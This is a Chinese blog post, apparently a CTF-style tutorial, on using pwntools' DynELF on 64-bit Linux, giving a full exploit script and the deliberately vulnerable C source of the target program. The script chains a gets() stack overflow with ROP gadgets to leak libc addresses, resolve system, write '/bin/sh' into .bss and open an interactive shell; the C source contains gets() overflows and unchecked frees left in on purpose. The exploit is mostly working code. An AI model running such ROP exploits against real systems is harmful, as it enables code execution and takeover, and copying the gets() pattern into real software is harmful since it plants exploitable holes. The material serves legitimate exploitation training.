这几天有同学问我在64位下怎么用这个函数,于是针对同一道题写了个利用dynELF的方法

编译好的程序 http://pan.baidu.com/s/1jImF95O

源码在后面

from pwn import *

elf = ELF('./pwn_final')

got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
call_get_name_func = 0x400966
print 'call_get_name_func= ' + hex(call_get_name_func)
got_read = elf.got['read']
print "got_read: " + hex(got_read) bss_addr = 0x6020c0 pad = 'a' p = process('./pwn_final')
gdb.attach(p) #get system address
def leak(address):
p.recvuntil('please enter your name:')
payload1 = pad * 56
payload1 += p64(0x400d9a)+ p64(0) + p64(1) + p64(got_write) + p64(128) + p64(address) + p64(1) + p64(0x400d80)
payload1 += "\x00"*56
payload1 += p64(call_get_name_func)
p.sendline(payload1)
data = p.recv(128)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data d = DynELF(leak, elf=ELF('./pwn_final')) system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr) #write system && /bin/sh
payload2 = "a"*56
payload2 += p64(0x400d96)+ p64(0) +p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400d80)
payload2 += "\x00"*56
payload2 += p64(call_get_name_func)
p.sendline(payload2) p.send(p64(system_addr))
p.send("/bin/sh\0") p.recvuntil('name:') # call system
payload3 = "a"*56
payload3 += p64(0x400d96)+ p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400d80)
payload3 += "\x00"*56
payload3 += p64(call_get_name_func)
p.sendline(payload3) p.interactive()

源码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h> void print_menu();
void get_name();
void add_paper();
void delete_paper();
void show_paper();
int get_num();
void get_input(char *buffer, int size, int no_should_fill_full);
void gg(); char *link_list[10]; int main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
int choice;
get_name();
while (1){
print_menu();
choice = get_num();
switch (choice){
case 1:
add_paper();
break;
case 2:
delete_paper();
break;
case 3:
show_paper();
break;
default:
return;
}
}
printf("thank you!");
} int get_num()
{
int result;
char input[48];
char *end_ptr; get_input(input, 48, 1);
result = strtol(input, &end_ptr, 0);
if (input == end_ptr){
printf("%s input is not start with number!\n", input);
result = get_num();
}
return result;
} void get_input(char *buffer, int size, int no_should_fill_full)
{
int index = 0;
char *current_location;
int current_input_size;
while (1){
current_location = buffer+index;
current_input_size = fread(buffer+index, 1, 1, stdin);
if (current_input_size <= 0)
break;
if (*current_location == '\n' && no_should_fill_full){
if (index){
*current_location = 0;
return;
}
}else{
index++;
if (index >= size)
break;
}
}
} void get_name()
{
char name[40];
printf("please enter your name:");
gets(name);
} void print_menu()
{
puts("Welcome to use the improved paper management system!");
puts("1 add paper");
puts("2 delete paper");
puts("3 show paper");
} void show_paper()
{
int index;
int length;
printf("Input the index of the paper you want to show(0-9):");
scanf("%d", &index);
if (index < 0 || index > 9)
exit(1);
printf("How long you will enter:");
scanf("%d", &length);
if (length < 0 || length > 2048)
exit(1);
write(stdout, link_list[index], length);
} void add_paper()
{
int index;
int length;
printf("Input the index you want to store(0-9):");
scanf("%d", &index);
if (index < 0 || index > 9)
exit(1);
printf("How long you will enter:");
scanf("%d", &length);
if (length < 0 || length > 2048)
exit(1);
link_list[index] = malloc(length);
if (link_list[index] == NULL)
exit(1);
printf("please enter your content:");
gets(link_list[index]);
printf("add success!\n");
} void delete_paper()
{
int index;
printf("which paper you want to delete,please enter it's index(0-9):");
scanf("%d", &index);
if (index < 0 || index > 9)
exit(1);
free(link_list[index]);
puts("delete success !");
} void gg()
{
char name[40];
read(stdin, name, 40);
}

64位下pwntools中dynELF函数的使用的更多相关文章

  1. 64位下Hook NtOpenProcess的实现进程保护 + 源码 (升级篇 )

    64位下Hook NtOpenProcess的实现进程保护 + 源码 (升级篇 ) [PS: 如果在64位系统下,出现调用测试demo,返回false的情况下,请修改Hook Dll的代码] glhH ...

  2. 2 pygraphviz在windows10 64位下的安装问题(反斜杠的血案)

    可以负责任的说,这篇文档是windows10安装pygraphviz中,在中文技术网站中最新的文档,没有之一.是自己完全结合各种问题,包括调试等,总结出来的. 问题来源:主要是可视化RvNN网络的树结 ...

  3. 在64位SQL Server中创建Oracle的链接服务器 Link Server

    有时候我们希望在一个sqlserver下访问另一个sqlserver数据库上的数据,或者访问其他oracle数据库上的数据,要想完成这些操作,我们首要的是创建数据库链接. 数据库链接能够让本地的一个s ...

  4. 64位下的InlineHook

    目录 x64下手工HOOK的方法 一丶HOOK的几种方法之远跳 1. 远跳 不影响寄存器 + 15字节方法 2.远跳 影响寄存器 + 12字节方法 3.影响寄存器,恢复寄存器 进行跳转. 4. 常用 ...

  5. win10 64位专业版系统中显示32位dcom组件配置的方法

    word.excel是32位的组件,当用户64位系统在运行窗口中输入dcomcnfg命令时,在打开的组件服务管理窗口,是找不到Microsoft Excel.word程序的.另外,Windows 环境 ...

  6. win7(64)位下WinDbg64调试VMware10下的win7(32位)

    win7(64)位下WinDbg64调试VMware10下的win7(32位) 一 Windbg32位还是64位的选择 参考文档<Windbg 32位版本和64位版本的选择> http:/ ...

  7. Ubuntu 14.04 AMD 64位 下 Android Studio 的安装

    Ubuntu 14.04 AMD 64位 下 Android Studio 的安装 作者:yoyoyosiyu 邮箱:yoyoyosiyu@163.com 时间:2015年8月25日 Android ...

  8. [转]在64位的环境中使用VS建立Web项目进行Oracle连接需要注意WebDev是32位的

    本文转自:http://www.cnblogs.com/studyzy/archive/2010/10/28/1863056.html 我们平时使用的都是32位的机器进行开发,装的都是32位的软件,但 ...

  9. 偶然碰到的Win7 64位下CHM 的问题解决

    最近下了几个沪江资料,都是chm格式的,但是在win7 64位下,都显示不了里面的音频和视频flash之类的控件,虽然可以通过源文件的方式打开视频文件,但是很麻烦.    网上似乎碰到的人也不是很多, ...

随机推荐

  1. 对jquery操作复选框

    摘要:jquery操作复选框.使用更简洁易懂,思路清晰,逻辑更明了,很实用 <!DOCTYPE html> <html> <head> <meta chars ...

  2. 新编码神器Atom使用纪要

    Atom是 Github 专门为程序员推出的一个跨平台文本编辑器.她很大程度上继承了SublimeText的美,而又不仅如此.有费了蛮大力气总结了一篇关于SublimeText文章: 如何优雅地使用S ...

  3. 编写Windows服务疑问2:探索服务与安装器的关系

    首先,来弄两个服务,一个叫“飞机”,一个叫“火车”. public class FeiJiService : ServiceBase { public FeiJiService() { Service ...

  4. 【Win 10应用开发】分阶段进行数据绑定

    使用x:Bind扩展标记进行数据绑定,是在编译阶段完成,至于说性能优化方面,大概主要是优化CPU资源的使用,因为免去了运行阶段进行绑定的过程.当然,使用这个标记仅仅是绑定上的优化,并不包括数据源.数据 ...

  5. CSS画图

    The Shapes of CSS All of the below use only a single HTML element. Any kind of CSS goes, as long as ...

  6. Java 二叉树遍历右视图-LeetCode199

    题目如下: 题目给出的例子不太好,容易让人误解成不断顺着右节点访问就好了,但是题目意思并不是这样. 换成通俗的意思:按层遍历二叉树,输出每层的最右端结点. 这就明白时一道二叉树层序遍历的问题,用一个队 ...

  7. 结合阿里云服务器,使用FTP上传和下载文件,出现的问题和解决方案

    一.FTP出现的问题 二.在网上找的方案 如果使用FileZilla默认设置连接ftp服务器的话可能会报以下错误: 错误: 无法建立数据连接:ECONNREFUSED - Connection ref ...

  8. 利用C#开发移动跨平台Hybrid App(一):从Native端聊Hybrid的实现

    0x00 前言 前一段时间分别读了两篇博客,分别是叶小钗兄的<浅谈Hybrid技术的设计与实现>以及徐磊哥的<从技术经理的角度算一算,如何可以多快好省的做个app>.受到了很多 ...

  9. 对C语言islower、isupper、isdigit函数的测试

    今天朋友问起了这三个函数,我就帮忙测试了下,测试后发现谭浩强第四版课本附录上上讲的不是很严谨. 我们先看下这三个函数介绍: 谭浩强第四版课本附录第396页上这样介绍: 函数名 函数原型 功能 返回值 ...

  10. 你可曾见过如此简单粗暴的JavaScript解说 -- if 判断的正确打开方式?

    在JavaScript中,对于 if else 的逻辑判断你肯定非常熟悉,本文罗列了几种你不一定知道的简写方式,仅供参考. 例子: 已知小明考了68分,小于60分为不及格,大于60分为及格,问:小明是 ...